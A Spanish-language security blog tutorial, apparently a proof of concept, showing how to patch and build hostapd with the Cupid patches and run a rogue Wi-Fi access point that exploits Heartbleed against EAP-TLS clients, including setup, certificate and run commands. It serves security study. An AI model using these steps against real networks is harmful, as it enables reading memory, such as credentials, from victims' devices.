
Para ir poniéndome al día y engrasando máquinas vamos a dar un repasillo práctico a uno de los fallos más escandalosos que ha habido en mi ausencia: Heartbleed.
Como ya mencionamos en el blog es posible dirigir un ataque hacia redes wifi (EAP TLS)...utilizando CUPIDO.
¿Qué es cupido?
Cupido es el nombre que Luis Grangeia, de SysValue, le dio a sus dos parches que se pueden aplicar a los programas "hostapd" y "wpa_supplicant" en Linux. Estos parches modifican el comportamiento de los programas para explotar el fallo de heartbleed en conexiones TLS que suceden en ciertos tipos de contraseñas protegidas en redes inalámbricas.

En esta entrada veremos como aprovechar cupido sumado a nuestro cliente hostapd (attack vector 2).
¿Cómo funciona el ataque?
En palabras de Grangeia: "Básicamente es el mismo ataque que heartbleed, basado en un paquete heartbeat malicioso. Al igual que ocurre en el ataque original, las conexiones regulares TLS sobre TCP, tanto clientes como servidores pueden ser explotados y la memoria puede ser leída en ambos extremos de la conexión.
La diferencia en este escenario es que la conexión TLS se está haciendo sobre EAP, que es un marco de autenticación / mecanismo utilizado en las redes inalámbricas. También se puede utilizar en otras situaciones, incluidas las redes de cable que utilizan 802.1x Autenticación de red y conexiones punto a punto (peer to peer).
EAP es sólo un marco que se utiliza en varios mecanismos de autenticación. Los que nos son interesantes en este contexto son: EAP-PEAP, EAP-TLS y EAP-TTLS, que son los que utilizan TLS.
Para explotar los clientes vulnerables, utilizaremos hostapd (con el parche de cupido) para configurar una red de tal manera que, cuando el cliente vulnerable intente conectarse y solicitar una conexión TLS, hostapd enviará solicitudes de heartbeat maliciosos, lo que provocará la vulnerabilidad."
Como mejor se ven las cosas es en la práctica

Nos bajaremos hostapd-2.1.tar.gz de paso y también nos bajaremos wpa-supplicant-0.2.1 (lo utilizaremos mas adelante).
También nos descargaremos este archivo y lo alojaremos en la misma carpeta https://github.com/lgrangeia/cupid/archive/master.zip
unzip cupid-master.zip
tar -xf hostapd-2.1.tar.gz
cp cupid-master/patch-hostapd hostap-2.1/
apt-get update && apt-get install firmware-ralink
apt-get install libnl-dev
Ahora parcheamos:
cd /heartbleed/hostap-2.1/
patch -p1 < patch-hostapd
Una vez parcheado procedemos a compilar con make. NO hagáis make install puesto nos lo instalará en el sistema y machacará la versión de hostapd, cosa que no nos interesa puesto que la versión parcheada sólo vale para lo que vale...
cd hostapd
make
El segundo paso sera configurar hostapd para que sea operativo. Para esto crearemos una carpeta que se llamara setup para guardar los certificados necesarios y las configuraciones.
cd /heartbleed
mkdir setup
Pasaremos los archivos de configuración de la carpeta testconfs a la carpeta setup y crearemos los certificados necesarios para la conexión tls:
cp /heartbleed/cupid-master/testconfs/* /heartbleed/setup/
Luego nos situaremos en la carpeta setup y crearemos un directorio que es donde haremos los certificados:
cd /heartbleed/setup
mkdir certs
cd certs
A continuación crearemos la llave privada del server y será "importante" hacerlo con el hostname para evitar alguna que otra falla estúpida.
openssl genrsa -out "TU_hostnane".key 1024
Crearemos el CSR (Certificate Signing Request)
openssl req -new -key "TU_hostname".key -out "TU_hostname".csr
Creamos el certificado ssl
Para generar el certificado SSL vamos a necesitar tanto la llave privada como el CSR que acabamos de crear.
Para generar el certificado SSL debemos ejecutar el siguiente comando:
openssl x509 -req -days 365 -in server.csr -signkey "TU_hostname".key -out "TU_hostname".crt
Configuraremos heartbleed.conf
Ya estamos en disposición de configurar hostapd, para ello abrimos el archivo test_hostapd.conf (de la carpeta setup) y lo dejamos tal que así:

CAroot.crt es el certificado de mi Autoridad certificadora (prometo un tuto sobre el tema).. mientras tanto podéis echarle un ojo a esto Crear una CA
Copiamos el archivo resultante al directorio de hostapd
cp test_hostapd.conf /heartbleed/hostapd-2.1/hostapd/ test_hostapd.conf
NOTAS INTERESANTES A RECORDAR EN ESTE ATAQUE
No es necesario establecer plenamente una conexión TLS para realizar el ataque heartbleed. No hay claves reales y los certificados no deben ser intercambiados para tener éxito en el ataque.
Si no olvido nada ya podemos correr nuestro hostap-cupid:
./hostapd test_hostapd.conf

hostapd: random: Only 15/20 bytes of strong random data available from /dev/random
hostapd: random: Not enough entropy pool available for secure operationshostapd: WPA: Not enough entropy in random pool for secure operations - update keys later when the first station connects
Lo podemos remediar fácilmente instalando haveget (HArdware Volatile Entropy Gathering and Expansion), para así asegurar la carga entrópica.
Para seguir con esta prueba de concepto tan solo necesitamos un cliente vulnerable que se autentifique contra nuestro AP.
Para ello voy a utilizar un sistema Centos 6.5 sin parchear...
Podemos depurar los fallos de la conexión conectándonos manualmente con wpa_supplicant.




Algunas versiones de Android también sen ve afectadas por este fallo.

Fuentes:
- código de cupido: https://github.com/lgrangeia/cupid/
- hostapd y wpa_supplicant: http://hostap.epitest.fi/hostapd/
- Acerca de EAP: http://en.wikipedia.org/wiki/Extensible_Authentication_Protocol
- SysValue: http://www.sysvalue.com
- http://www.slideshare.net/lgrangeia
- http://w1.fi/wpa_supplicant/devel/code_structure.html
- http://www.hackplayers.com/2014/07/explotar-heartbleed-en-redes-wifi-con-cupido-1.html